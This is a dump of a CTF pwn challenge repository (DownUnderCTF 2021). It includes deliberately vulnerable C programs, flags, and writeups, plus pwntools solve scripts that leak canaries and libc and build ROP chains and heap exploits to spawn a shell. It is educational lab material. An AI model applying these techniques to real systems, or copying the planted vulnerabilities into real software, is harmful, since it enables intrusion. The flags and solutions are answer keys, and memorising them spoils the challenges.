sl(p64(0)*23 + p32(0) + p64(big_chunk)) sla(">>", '4') #retrieve unsorted bin allocation and free it. Now we have a chunk with libc addresses sla(">>", '1') sla("Size:", str(0x370)) sla(">>", '4') # perform the OOB read (same as above) sla(">>", '1') sla("Size:", str(0x7f)) sla(">>", '3') sl(p64(0)*26 + p32(0) + p64(0x21) + p64(0xffff) + p64(0)*2 + p64(0x110) + b'\xff\x0f') sla(">>", '2') p.recvline() p.recvline() leak = p.recvline(); leak = uu64(leak[668:675]) - (0x7fec2b9c6be0 - 0x00007fec2b7db000) libc.address = leak sla(">>", '4') log.info(f"libc: {hex(libc.address)}") # allocate this largest tcache bin again sla(">>", '1') sla("Size:", str(0x370)) sla(">>", '4') #replace it with free_hook sla(">>", '1') sla("Size:", str(0x7f)) sla(">>", '3') sl(p64(0)*23 + p32(0) + p64(libc.symbols['__free_hook'] - 4)) sla(">>", '4') #write system to free_hook sla(">>", '1') sla("Size:", str(0x370)) sla(">>", '3') sl(p64(libc.symbols['system'])) # create an allocation and place /bin/sh at its beginning. sla(">>", '1') sla("Size:", str(0x170)) sla(">>", '3') sl(p32(0) + p64(0) * 30 + p64(201) + b"/bin/sh") sla(">>", '4') p.interactive() ================================================ FILE: pwn/encrypted-note/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/nsjail.cfg /home/ctf/ COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/encrypted_note /home/ctf/chal/pwn ================================================ FILE: pwn/encrypted-note/README.md ================================================ # encrypted note **Category:** pwn **Difficulty:** medium-hard **Author:** joseph#8210 Encrypted notepad as a service... ` ` **Attached files:** - ./challenge/encrypted_note (sha256: 4f5e8fc9c0ac52a07c7e65979795c0143da1c4531ceb9bfc328f91e5079f01cc) ================================================ FILE: pwn/encrypted-note/challenge/encrypted_note.c ================================================ #include #include #include #include #include #define BLOCK_SIZE 8 #define MAX_NUM_BLOCKS 11 #define NOTE_SIZE 88 unsigned long X, A, B; void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); int fd = open("/dev/random", 'r'); read(fd, &X, 8); read(fd, &A, 8); read(fd, &B, 8); A |= 5; B |= 1; } int read_int() { char buf[10]; read(0, buf, 9); return atoi(buf); } int menu() { puts("1. Write note"); puts("2. Read note"); puts("3. Append to note"); puts("0. Quit"); printf("> "); int choice = read_int(); return choice; } long lcg_next() { X = A * X + B; return X; } void encrypt(char* pt) { int num_blocks = strlen(pt) / BLOCK_SIZE; if(strlen(pt) % BLOCK_SIZE > 0) { num_blocks++; } if(num_blocks > MAX_NUM_BLOCKS) { num_blocks = MAX_NUM_BLOCKS; } unsigned long* ct = (unsigned long*)pt; for(int i = 0; i < num_blocks; i++) { *(unsigned long*)(ct + i) = *(ct + i) ^ lcg_next(); } } void write_note(char* note) { memset(note, 0, NOTE_SIZE); printf("Enter note contents: "); read(0, note, NOTE_SIZE); encrypt(note); } void read_note(char* note) { for(int i = 0; i < strlen(note); i++) { printf("%02x", *(unsigned char*)(note + i)); } printf("\n"); } void append_to_note(char* note) { if(*(note + NOTE_SIZE - 1) > '\0') { puts("Note is full!"); return; } char* app = (char*) malloc(BLOCK_SIZE); printf("Enter note contents to append: "); read(0, app, BLOCK_SIZE); char* dest = strchr(note, '\0'); strncpy(dest, app, BLOCK_SIZE); dest[BLOCK_SIZE - 1] = '\0'; encrypt(dest); } void win() { system("/bin/sh"); } void vuln() { char note[NOTE_SIZE]; int choice; while(1) { choice = menu(); switch(choice) { case 0: return; case 1: write_note(note); break; case 2: read_note(note); break; case 3: append_to_note(note); break; default: puts("Invalid choice"); } } } int main() { init(); vuln(); } ================================================ FILE: pwn/encrypted-note/challenge/flag.txt ================================================ DUCTF{c4n_1_g3t_a_p1zza_th4t_1s_h4lf_p3pper0n1_4nd_h4lf_ch33s3_ple4se!} ================================================ FILE: pwn/encrypted-note/challenge/nsjail.cfg ================================================ description: "Default nsjail configuration for pwnable-style CTF task." mode: LISTEN uidmap {inside_id: "1000"} gidmap {inside_id: "1000"} # jail config cwd: "/chal" hostname: "challenge" # network config bindhost: "0.0.0.0" max_conns_per_ip: $MAX_CONNS_PER_IP port: $PORT # limits mount_proc: $MOUNT_PROC time_limit: 600 cgroup_mem_max: $MAX_MEMORY cgroup_pids_max: $MAX_PIDS cgroup_cpu_ms_per_sec: $CPU_SHARES_MS mount: [ { src: "/home/ctf/chal" dst: "/chal", is_bind: true, rw: false }, { src: "/bin", dst: "/bin", is_bind: true, rw: false }, { src: "/lib", dst: "/lib", is_bind: true, rw: false }, { src: "/lib64", dst: "/lib64", is_bind: true, rw: false }, { src: "/usr", dst: "/usr", is_bind: true, rw: false }, { src: "/dev/random", dst: "/dev/random", rw: false, is_bind: true } ] exec_bin { path: "/chal/pwn" } ================================================ FILE: pwn/encrypted-note/challenge.yml ================================================ version: "0.1" id: encrypted-note name: encrypted note category: pwn description: > Encrypted notepad as a service... Author: joseph#8210 connection_info: nc ${host} ${port} tags: - hard - crypto files: - ./challenge/encrypted_note flags: - DUCTF{c4n_1_g3t_a_p1zza_th4t_1s_h4lf_p3pper0n1_4nd_h4lf_ch33s3_ple4se!} ================================================ FILE: pwn/encrypted-note/solve/solve.py ================================================ from pwn import * from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes def write_note(note_contents): conn.sendlineafter('> ', '1') conn.sendafter('Enter note contents: ', note_contents) def decrypt_write_notes(note_contents): payload = get_decrypted_payload(note_contents).replace(b'\x00', b'\x66') write_note(payload) def read_note(): conn.sendlineafter('> ', '2') return bytes.fromhex(conn.recvline().decode().strip()) def append_to_note(block): conn.sendlineafter('> ', '3') conn.sendafter('Enter note contents to append: ', block) def decrypt_append_to_note(block): payload = get_decrypted_payload(block).replace(b'\x00', b'\x66') append_to_note(payload) def get_lcg_next(): write_note(b'A'*8) X = read_note() p = xor(b'A'*8, X) return bytes_to_long(p[::-1]) def lcg_skip(n): [get_lcg_next() for _ in range(n)] [predict_lcg_next() for _ in range(n)] def get_decrypted_payload(payload): out = b'' for i in range(0, len(payload), 8): out += xor(payload[i:i+8], predict_lcg_next()) return out def predict_lcg_next(b=True): global X X = (A*X + B) % m if b: return long_to_bytes(X, 8)[::-1] return X def predict_lcg_peek(n, b=True): X_ = X for _ in range(n): X_ = (A*X_ + B) % m if b: return long_to_bytes(X_, 8)[::-1] return X_ def find_good_lcg_skip(k): n = 0 while True: l = predict_lcg_peek(n+k) n += 1 if l[-1] == 0: break log.success(f'found good LCG state: {n} ticks ahead') return n exe = ELF('../challenge/encrypted_note') conn = remote('0.0.0.0', 1337) # ==================== recover LCG parameters m = 2**64 X1 = get_lcg_next() X2 = get_lcg_next() X3 = get_lcg_next() A = (X3 - X2) * inverse(X2 - X1, m) % m B = (X2 - A*X1) % m X = X3 log.success(f'recovered LCG parameters: A = {A}, B = {B}') # ==================== leak canary # offset so that the next append overwrites canary null byte decrypt_write_notes(b'A'*81 + b'\x00') # append a single block so that read_note leaks canary decrypt_append_to_note(b'B\xff' + b'B'*6) # read the plaintext canary note = read_note() canary = b'\x00' + note[89:89+7] log.success(f'leaked canary: {canary.hex()}') # ==================== leak binary base decrypt_write_notes(b'A'*86 + b'\x00\xff') decrypt_append_to_note(b'C\xffCCCC\x00') decrypt_append_to_note(b'DDDD\x00DD') decrypt_append_to_note(b'E'*8) # read the plaintext ret address and recover binary base n = read_note() bin_base = u64(n[104:104+6] + b'\x00\x00') - 0x169f log.success(f'PIE base: {hex(bin_base)}') # ==================== overwrite vuln's ret with win win = p64(bin_base + exe.symbols['win']) ret = p64(bin_base + 0x000000000000101a) log.success(f'win address: {hex(u64(win))}') log.success(f'ret gadget : {hex(u64(ret))}') # carefully write win function n = find_good_lcg_skip(12+6) lcg_skip(n) decrypt_write_notes(b'A'*86 + b'\x00\xff') decrypt_append_to_note(b'U\xffUUUU\x00') decrypt_append_to_note(b'WWWWWW\x00') decrypt_append_to_note(b'VVVVVV\x00') decrypt_append_to_note(b'XX\x00XXXX') decrypt_append_to_note(b'YYYYYY\x00') decrypt_append_to_note(win[:6] + b'\x00') # carefully write the ret gadget n = find_good_lcg_skip(12+5) lcg_skip(n) decrypt_write_notes(b'A'*86 + b'\x00\xff') decrypt_append_to_note(b'U\xffU' + canary[1:4] + b'\x00') decrypt_append_to_note(canary[4:8] + b'WW\x00') decrypt_append_to_note(b'V\x00VVVVV') decrypt_append_to_note(b'XXXXX\x00X') decrypt_append_to_note(ret[:6] + b'\x00\x00') # write canary null byte n = find_good_lcg_skip(12+1) lcg_skip(n) decrypt_write_notes(b'A'*81 + b'\x00' + b'B'*5 + b'\xff') decrypt_append_to_note(b'CCCCCC\x00') # win! conn.sendlineafter('> ', '0') conn.interactive() ================================================ FILE: pwn/leaking-like-a-sieve/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 WORKDIR /home/ctf/chal COPY ./challenge/hellothere pwn COPY ./challenge/flag.txt . ================================================ FILE: pwn/leaking-like-a-sieve/README.md ================================================ # Leaking like a sieve **Category:** pwn **Difficulty:** Beginner **Author:** xXl33t_h@x0rXx This program I developed will greet you, but my friend said it is leaking data like a sieve, what did I forget to add? **Attached files:** - ./challenge/hellothere (sha256: 4dcb0529848655a2441262fa3f4fe24c011718ffc230f50e36412f3c3d9b8c6e) ================================================ FILE: pwn/leaking-like-a-sieve/WRITEUP.md ================================================ # Leaking like a sieve solution This challenge features a beginner PWN vulnerability - format string vulnerability. ## Format string vulnerabilities When a format argument such as %s, %d, etc is not specified when printing variables using printf, scanf in C then user input can be passed as a format argument. This allows the user to leak data using printf as it pops data off the stack as it is a variadic function. ## Solving the challenge ### Identify the vulnerability To solve this challenge, the user will need to identify first that the vulnerability is a format string vuln. This can be done one of two ways, inferring from the challenge title and description that data is being leaked and searching online for data leakage vulnerabilities. Alternatively, the user can reverse engineer the compiled binary using Ghidra or similar tools to identify the usage of printf and lack of format arguments. ### Exploit time From here, the user will need to iterate through different format arguments such as %x, %d, %s and subsequently the correct index/quantity of the argument to leak. This is be achieved using %n$x where n is a decimal index. Due to the way the stack is allocated by the compiler, `flag` is at a lower address on the stack (index/argument ) and is also a string, so to leak the flag you would enter %6$s. ## Exploit: ``` What is your name? %6$s Hello there, DUCTF{f0rm4t_5p3c1f13r_m3dsg!} ``` ================================================ FILE: pwn/leaking-like-a-sieve/challenge/flag.txt ================================================ DUCTF{f0rm4t_5p3c1f13r_m3dsg!} ================================================ FILE: pwn/leaking-like-a-sieve/challenge/hellothere.c ================================================ #include void buffer_init() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } int main() { char name[32]; char flag[32]; char *flag_ptr = flag; buffer_init(); FILE *file = fopen("./flag.txt", "r"); if (file == NULL) { printf("The flag file isn't loading. Please contact an organiser if you are running this on the shell server.\n"); exit(0); } fgets(flag,sizeof(flag),file); while(1) { printf("What is your name?\n"); fgets(name,sizeof(name),stdin); printf("\nHello there, "); printf(name); printf("\n"); } return 0; } ================================================ FILE: pwn/leaking-like-a-sieve/challenge.yml ================================================ version: "0.1" id: leaking-like-a-sieve name: Leaking like a sieve category: pwn description: | This program I developed will greet you, but my friend said it is leaking data like a sieve, what did I forget to add? Author: xXl33t_h@x0rXx connection_info: nc ${host} ${port} tags: - beginner files: - ./challenge/hellothere flags: - DUCTF{f0rm4t_5p3c1f13r_m3dsg!} ================================================ FILE: pwn/out-backdoor/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 WORKDIR /home/ctf/chal COPY ./challenge/outBackdoor pwn COPY ./challenge/flag.txt . ================================================ FILE: pwn/out-backdoor/README.md ================================================ # outBackdoor **Category:** pwn **Difficulty:** Easy **Author:** xXl33t_h@x0rXx Fool me once, shame on you. Fool me twice, shame on me. **Attached files:** - ./challenge/outBackdoor (sha256: 245d9fcf0129d23459372d06aa162971c1bff194dc2ee47fd433b2cae429e98e) ================================================ FILE: pwn/out-backdoor/WRITEUP.md ================================================ # outBackdoor solution ## Solving the challenge ### Identify the vulnerability The source code wasn't provided for the challenge requiring the use of a decompiler or disassembler such as Ghidra, radare, ida or objdump. After reverse engineering the binary, it is evident through the use of the unsafe function `gets` in combination with a fixed size char array `feature[16]` that the code is vulnerable to a buffer overflow. The binary features a seperate function `outBackdoor` in the code that isn't reachable through normal execution which is called 'deadcode', it's here that the system calls '/bin/sh' which spawns a bin shell. In order to reach code, we need to use ROP. ### Exploit time Using objdump, we can disassemble the binary and locate the address of the function `outBackdoor` which is `00000000004011d7`. After identifying the size of the char array that the `gets` stores its value in (16 chars/bytes), we can start to build our exploit. By using 16 'A's we can fill the char array, then we have to overwrite the base pointer (RBP) which is 8 bytes, we can use 8 'B's to denote this. As documented below in the sidenote section, I was able to form an exploit at this stage on my local machine however not on the remote machine due to a common pitfall when doing ROP which is believed to be the 'MOVAPS' issue. On my local machine, I could then overwrite the return address of the `main` function with the address of the `outBackdoor` function, this is 4011d7. However to workaround this issue on other hosts, you need to add a ROP/RET gadget to the exploit chain to align the stack. From the disassembly, we can identify a `ret` instruction in another function, in this case, in the `_init` function there is the `retq` instruction shown below: `401016: c3 retq` The `retq` instruction pops a qword off the top of the stack and jumps to that address, so we can combine this address (401016) with some padding (5 bytes worth) and finally the address of the outBackdoor (4011d7) function we found earlier which will be jumped to after the the `retq` instruction in `_init` is executed. Piecing this all together in little endian format, we get `AAAAAAAAAAAAAAAABBBBBBBB\x16\x10\x40\x00\x00\x00\x00\x00\xd7\x11\x40`. This can either be put into a solve script or exploited using echo as shown below. Working exploit (on most hosts): ``` (echo -e "AAAAAAAAAAAAAAAABBBBBBBB\x16\x10\x40\x00\x00\x00\x00\x00\xd7\x11\x40"; cat;) | nc 0.0.0.0 1337 ``` Alternative exploit (only works on some hosts): ``` (echo -e "AAAAAAAAAAAAAAAABBBBBBBB\xd7\x11\x40\x00\x00"; cat;) | ./outBackdoor ``` ### Sidenote When testing this challenge on my local machine, the below exploit works perfectly and pops a shell. However when doing remote testing, one of the challenge reviewers noted that the below exploit wasn't working. They were very helpful in finding and explaining why this was the case, so big shoutout to them! They know who they are! :) ================================================ FILE: pwn/out-backdoor/challenge/flag.txt ================================================ DUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s} ================================================ FILE: pwn/out-backdoor/challenge/outBackdoor.c ================================================ #include void buffer_init() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } int main(void) { char feature[16]; buffer_init(); printf("\nFool me once, shame on you. Fool me twice, shame on me.\n"); printf("\nSeriously though, what features would be cool? Maybe it could play a song?\n"); gets(feature); } void outBackdoor() { printf("\n\nW...w...Wait? Who put this backdoor out back here?\n"); system("/bin/sh"); } ================================================ FILE: pwn/out-backdoor/challenge.yml ================================================ version: "0.1" id: outbackdoor name: outBackdoor category: pwn description: | Fool me once, shame on you. Fool me twice, shame on me. Author: xXl33t_h@x0rXx connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/outBackdoor flags: - DUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s} ================================================ FILE: pwn/oversight/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 WORKDIR /home/ctf/chal COPY ./challenge/oversight pwn COPY ./challenge/flag.txt . ================================================ FILE: pwn/oversight/README.md ================================================ # Oversight **Category:** pwn **Difficulty:** medium **Author:** B3NNY One tiny mistake and it's all over **Attached files:** - ./challenge/oversight (sha256: 3a71a8aa7de4e09ae72df464803e6f79b6d3182a5e3218064415e8a6329e2f0b) - ./challenge/libc-2.27.so (sha256: 467d8d5596e31cec78cdcde0c589bd04c031ec36598531bfd77e346ac447d9d6) ================================================ FILE: pwn/oversight/WRITEUP.md ================================================ # Oversight Solution This is a ropchain challenge with a base pointer overwrite. ## Running the program When we run the program we are asked to pick a number, to which the program replies with a magic number. If we feed it a `0` then our magic number is `%0$llx` - this is a hint at a format string vulnerability. Later the program asks for the number of bytes you want to write, then asks you to write that many bytes, before echoing them back at you. ## The first vulnerability The format string vulnerability is worth looking into. Upon inspecting how it works, it is revealed to be parsing your input to an integer before interpolating it back into the format string. The prevents using `%n` etc. in the format string, but allows a random `%n$llx` to be used. Once this format string is assembled it is simply being passed into printf without any further arguments. This allows a leak of arbitrary data out of one of the arugument registers or off the stack. ## The second vulnerability When looking at the binary, one thing to note is that the function calls are oddly nested - instead of sequentially calling one function then the other, functions are nested to complete each other. This hints that the solution may be something to do with the function call stack. The second thing to note is that there is a custom string operation written into the `echo_inner` function, which calls `fread` for the number of bytes you want, then appends a null byte after. This can be abused to fill the buffer with 256 bytes of arbitrary data and then write a null byte into the next byte after the buffer. It just so happens that the byte after the buffer here happens to be the saved base pointer for the `echo` function's frame. Now we are able to overwrite the saved base pointer, which will become `rbp` once the function is returned from, and then will control the stack pointer when the calling function is returned from. ``` ┏━━━━━━━━━━━━━━━┓ ┃ AAAAAAAAAAAAA ┃ <- buffer ┃ AAAAAAAAAAAAA ┃ ┃ AAAAAAAAAAAAA ┃ ┃ AAAAAAAAAAAAA ┃ ┣━━━━━━━━━━━━━━━┫ ┃ 00 ┃ <- saved RBP ┣━━━━━━━━━━━━━━━┫ ┃ ┃ <- ret addr ┗━━━━━━━━━━━━━━━┛ ``` We can utilize this to move the stack pointer for `get_num_bytes` just before it returns (during the `leave` instruction) back up the stack into the 256 byte buffer we filled before, then the following `ret` instruction begins a rop chain. ## The exploit Our goal for this exploit is to use a ropchain to call `system("/bin/sh")` but to do that we must first know the location of libc. To leak the libc location, we look at the stack where the `printf` call is made: ``` 00:0000│ rsp 0x7fffffffe2d0 —▸ 0x7ffff7f87520 (_IO_2_1_stdout_) ◂— 0xfbad2887 01:0008│ 0x7fffffffe2d8 ◂— 0xa36000001 02:0010│ rdi r12 0x7fffffffe2e0 ◂— 'Your magic number is: %6$llx\n' 03:0018│ 0x7fffffffe2e8 ◂— 'ic number is: %6$llx\n' 04:0020│ 0x7fffffffe2f0 ◂— 'r is: %6$llx\n' 05:0028│ 0x7fffffffe2f8 ◂— 0xa786c6c24 /* '$llx\n' */ 06:0030│ 0x7fffffffe300 ◂— 0x0 07:0038│ 0x7fffffffe308 —▸ 0x7ffff7e47a69 (__GI__IO_do_write+25) ◂— cmp rbx, rax 08:0040│ 0x7fffffffe310 ◂— 0xa /* '\n' */ 09:0048│ 0x7fffffffe318 —▸ 0x7ffff7e47ed3 (__GI__IO_file_overflow+259) ◂— cmp eax, -1 0a:0050│ 0x7fffffffe320 ◂— 0x10 0b:0058│ 0x7fffffffe328 —▸ 0x7ffff7f87520 (_IO_2_1_stdout_) ◂— 0xfbad2887 0c:0060│ 0x7fffffffe330 —▸ 0x555555556075 ◂— 'Lets play a game' 0d:0068│ 0x7fffffffe338 —▸ 0x7ffff7e3cc2a (puts+378) ◂— cmp eax, -1 0e:0070│ 0x7fffffffe340 —▸ 0x555555555430 (__libc_csu_init) ◂— endbr64 0f:0078│ 0x7fffffffe348 —▸ 0x7fffffffe370 ◂— 0x0 10:0080│ 0x7fffffffe350 —▸ 0x5555555550e0 (_start) ◂— endbr64 11:0088│ 0x7fffffffe358 —▸ 0x5555555550e0 (_start) ◂— endbr64 12:0090│ rbp 0x7fffffffe360 —▸ 0x7fffffffe370 ◂— 0x0 13:0098│ 0x7fffffffe368 —▸ 0x5555555550d5 (main+37) ◂— xor eax, eax ``` We can see at stack position 0x00 0x0b there is the `_IO_2_1_stdout_` symbol which exists within libc. For this example I have chosen to use offset 0x0b. Since this is x86_64 we have 6 arguments in registers before the stack starts being used for `printf` arguments, therefore if we want to index into position 0x0b on the stack, we must add 6 to it and give 17. ```python from pwn import * p = process("./src/pwn") p.sendline(b"") p.readuntil(b"Pick a number: ") p.sendline(b"17") ``` Now that we know the address of the `_IO_2_1_stdout_` symbol, we use that to calculate the base of libc, and find some gadgets to help with the ropchain. ```python p.readuntil(b"Your magic number is: ") leaked = int(p.readline().strip(), 16) # 2.27 libc_base = leaked - 0x3ec760 libc_ret = libc_base + 0x000008aa libc_pop_rsi = libc_base + 0x00023eea libc_binsh = libc_base + 0x1b3e1a libc_pop_rdi = libc_base + 0x000215bf libc_execve = libc_base + 0xe4c00 print("_IO_2_1_stdout_ = {:x}".format(leaked)) print("libc_base = {:x}".format(libc_base)) ``` Now we can send our ropchain - preceeded by a few `ret` gadgets to use as a sled for our shell. ```python print("_IO_2_1_stdout_ = {:x}".format(leaked)) print("libc_base = {:x}".format(libc_base)) p.readuntil(b"How many bytes do you want to read (max 256)? ") p.sendline(b"256") ropchain = ( p64(libc_pop_rsi) + p64(0) + # rsi p64(libc_pop_rdi) + p64(libc_binsh) + # /bin/sh p64(libc_execve) ) payload = p64(libc_ret) * ((256 - len(ropchain)) // 8) + ropchain p.send(payload) p.interactive() ``` (this exploit may fail some of the time) ================================================ FILE: pwn/oversight/challenge/Makefile ================================================ NAME := oversight ### OPTIONS ### VULN_STACK := -fno-stack-protector CC := gcc OPTIONS := -O3 $(VULN_STACK) -fno-omit-frame-pointer -fno-optimize-sibling-calls all: challenge challenge: $(CC) -o $(NAME) $(OPTIONS) $(NAME).c ================================================ FILE: pwn/oversight/challenge/flag.txt ================================================ DUCTF{1_sm@LL_0ver5ight=0v3rFLOW} ================================================ FILE: pwn/oversight/challenge/oversight.c ================================================ #include #include #include #define BUF_SIZE 0x100 void read_string(char *buffer, int len) { int n_bytes = fread(buffer, 1, len, stdin); buffer[n_bytes] = '\0'; } void get_lucky() { printf("Pick a number: "); char num_buf[5]; fgets(num_buf, 5, stdin); int num = atoi(num_buf); char fmt_buf[100]; snprintf(fmt_buf, 100, "Your magic number is: %%%d$llx\n", num); printf(fmt_buf); } __attribute__((noinline)) void echo_inner(char *buffer, int num) { read_string(buffer, num); printf("You said:\n"); printf("%s", buffer); } __attribute__((noinline)) void echo(int num) { char buffer[BUF_SIZE]; echo_inner(buffer, num); } __attribute__((noinline)) void get_num_bytes() { printf("How many bytes do you want to read (max 256)? "); char buffer[5]; fgets(buffer, 5, stdin); int num = atoi(buffer); if (num < 0 || num > BUF_SIZE) { printf("Don't break the rules!\n"); return; } echo(num); } __attribute__((noinline)) void introduce() { volatile char wat = 0; printf("Are you ready to echo?\n"); get_num_bytes(); printf("That was fun!\n"); } __attribute__((noinline)) void wait() { printf("Press enter to continue\n"); getchar(); get_lucky(); introduce(); } int main() { setbuf(stdout, NULL); printf("Lets play a game\n"); wait(); } ================================================ FILE: pwn/oversight/challenge.yml ================================================ version: "0.1" id: oversight name: Oversight category: pwn description: | One tiny mistake and it's all over Author: B3NNY connection_info: nc ${host} ${port} files: - ./challenge/oversight - ./challenge/libc-2.27.so tags: - medium flags: - DUCTF{1_sm@LL_0ver5ight=0v3rFLOW} ================================================ FILE: pwn/oversight/sol.py ================================================ from pwn import * # p = process("./challenge/oversight") p = remote("localhost", 1337) p.sendline(b"") p.readuntil(b"Pick a number: ") p.sendline(b"17") p.readuntil(b"Your magic number is: ") leaked = int(p.readline().strip(), 16) # 2.27 libc_base = leaked - 0x3ec760 libc_ret = libc_base + 0x000008aa libc_pop_rsi = libc_base + 0x00023eea libc_binsh = libc_base + 0x1b3e1a libc_pop_rdi = libc_base + 0x000215bf libc_execve = libc_base + 0xe4c00 # # 2.33 # libc_base = leaked - 0x1c1520 # libc_ret = libc_base + 0x00026697 # libc_pop_rsi = libc_base + 0x0002978f # libc_binsh = libc_base + 0x18bb62 # libc_pop_rdi = libc_base + 0x00027f75 # libc_execve = libc_base + 0xcbf60 print("_IO_2_1_stdout_ = {:x}".format(leaked)) print("libc_base = {:x}".format(libc_base)) p.readuntil(b"How many bytes do you want to read (max 256)? ") p.sendline(b"256") ropchain = ( p64(libc_pop_rsi) + p64(0) + # rsi p64(libc_pop_rdi) + p64(libc_binsh) + # /bin/sh p64(libc_execve) ) payload = p64(libc_ret) * ((256 - len(ropchain)) // 8) + ropchain p.send(payload) p.interactive() ================================================ FILE: pwn/ready-bounce-pwn/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/flag.txt /home/ctf/chal/flag.txt COPY ./challenge/rbp /home/ctf/chal/pwn ================================================ FILE: pwn/ready-bounce-pwn/README.md ================================================ # ready, bounce, pwn! **Category:** pwn **Difficulty:** medium **Author:** joseph#8210 Let's play with `rbp`. **Attached files:** - ./challenge/rbp (sha256: dafce41aeee46fe2952f9a2a4d6d594e3ea759bacc8b649dcf07e5e0e6379048) - ./challenge/libc.so.6 (sha256: 86ca990a4719b1d4ed8f56e9c6c373e33ad8a40a85fb262cc9ac94ab67feaed0) ================================================ FILE: pwn/ready-bounce-pwn/challenge/flag.txt ================================================ DUCTF{n0_0verfl0w?_n0_pr0bl3m!} ================================================ FILE: pwn/ready-bounce-pwn/challenge/rbp.c ================================================ #include #include #include void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); } long read_long() { char buf[20]; read(0, buf, 19); return atol(buf); } int main() { init(); char name[0x18]; printf("Hi there! What is your name? "); read(0, name, 0x18); puts("That is an interesting name."); printf("Do you have a favourite number? "); asm("add %0, %%rbp;" : : "r"(read_long())); return 0; } ================================================ FILE: pwn/ready-bounce-pwn/challenge.yml ================================================ version: "0.1" id: rbp name: ready, bounce, pwn! category: pwn description: > Let's play with `rbp`. Author: joseph#8210 connection_info: nc ${host} ${port} tags: - medium files: - ./challenge/rbp - ./challenge/libc.so.6 flags: - DUCTF{n0_0verfl0w?_n0_pr0bl3m!} ================================================ FILE: pwn/ready-bounce-pwn/solve/solve.py ================================================ from pwn import * def write(name, offset): conn.sendafter('? ', name) conn.sendlineafter('? ', str(offset)) elf = ELF('../challenge/rbp') conn = remote('0.0.0.0', 1337) pop_rdi = 0x00000000004012b3 write(b'A'*8 + p64(elf.symbols['main'] + 0x1)*2, -0x20) write(p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']), -0x28) leak = u64(conn.recvline().strip().ljust(8, b'\x00')) libc_base = leak - 0x809d0 log.success('libc base: ' + hex(libc_base)) system = libc_base + 0x4fa60 bin_sh = libc_base + 0x1abf05 write(p64(pop_rdi) + p64(bin_sh) + p64(system), -0x28) conn.interactive() ================================================ FILE: pwn/ready-bounce-pwn/solve/writeup.md ================================================ # Challenge Overview ``` ❯ checksec rbp [*] '/DUCTF-2021/pwn/ready-bounce-pwn/challenge/rbp' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` The program prompts for our name and reads 24 bytes into a buffer (on the stack) before prompting us for our favourite number. It increments `rbp` by our favourite number and then returns. # Solution Decompiling the binary (i.e. with Ghidra or IDA) gives pseudo C code that looks like a very simple and not really vulnerable program. However, fuzzing some inputs to the `read_long` function will quickly lead to a crash. Looking into the disassembly, we see towards the end of `main`: ``` 0x0000000000401239 <+100>: call 0x4011a9 0x000000000040123e <+105>: add rbp,rax 0x0000000000401241 <+108>: mov eax,0x0 0x0000000000401246 <+113>: leave 0x0000000000401247 <+114>: ret ``` Peculiarly, the return value of `read_long` (i.e. our "favourite number") is added to `rbp` just before the function epilogue. Recall that the `leave` instruction is equivalent to ``` mov rsp, rbp pop rbp ``` and `ret` pops the value at the top of the stack and jumps to it. Since we are able to offset `rbp` before `leave` is executed, we can effectively reposition the stack frame and control the return address. The most obvious candidate is to offset `rbp` so that the return address will be read from the user controlled buffer. The exploit idea will be to build a ROP chain to leak libc, and then build another ROP chain to get a shell. ## Leaking libc The buffer we can control is 24 bytes. I couldn't find a way to get a leak with less than 3 gadgets, so let's assume we need 3 gadgets to leak libc. But we'll also need to return back to main so that we can get another write to get a shell. This means we'll need at least 32 bytes to hold our ROP chain, but we only have a 24 byte buffer :(. Fortunately, there's a way to get an extra 8 bytes. The function prologue looks like: ``` 0x00000000004011d5 <+0>: push rbp 0x00000000004011d6 <+1>: mov rbp,rsp 0x00000000004011d9 <+4>: sub rsp,0x20 ``` and the call to `read` looks like: ``` 0x00000000004011fb <+38>: lea rax,[rbp-0x20] 0x00000000004011ff <+42>: mov edx,0x18 0x0000000000401204 <+47>: mov rsi,rax 0x0000000000401207 <+50>: mov edi,0x0 0x000000000040120c <+55>: call 0x401050 ``` So if we go through one pass of `main` and return to `main+1`, then when we get to `read` in the second pass, `rbp` will be what we manipulated `rsp` into being in the first pass (which itself is affected by what we chose to offset `rbp` by). Since we offset `rbp` such that `rsp` ends up pointing to somewhere in the name buffer, this means `rbp-0x20` will point to somewhere before the start of where the name buffer was in the first pass. So we can fill the buffer with `main+1` in the first pass, and in the second pass we can write 3 gadgets and have a `main+1` at the end of the ROP chain for free! ## Getting a Shell Now that we have a libc leak, we can find the addresses of `system` and `"/bin/sh"` in the provided libc and build a ROP chain to call `system("/bin/sh")`. Since we don't care about returning to `main`, we can easily do this with 24 bytes. ```py from pwn import * def write(name, offset): conn.sendafter('? ', name) conn.sendlineafter('? ', str(offset)) elf = ELF('../challenge/rbp') conn = remote('0.0.0.0', 1337) pop_rdi = 0x00000000004012b3 write(b'A'*8 + p64(elf.symbols['main'] + 0x1)*2, -0x20) write(p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']), -0x28) leak = u64(conn.recvline().strip().ljust(8, b'\x00')) libc_base = leak - 0x809d0 log.success('libc base: ' + hex(libc_base)) system = libc_base + 0x4fa60 bin_sh = libc_base + 0x1abf05 write(p64(pop_rdi) + p64(bin_sh) + p64(system), -0x28) conn.interactive() ``` ================================================ FILE: pwn/write-what-where/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/flag.txt /home/ctf/chal/flag.txt COPY 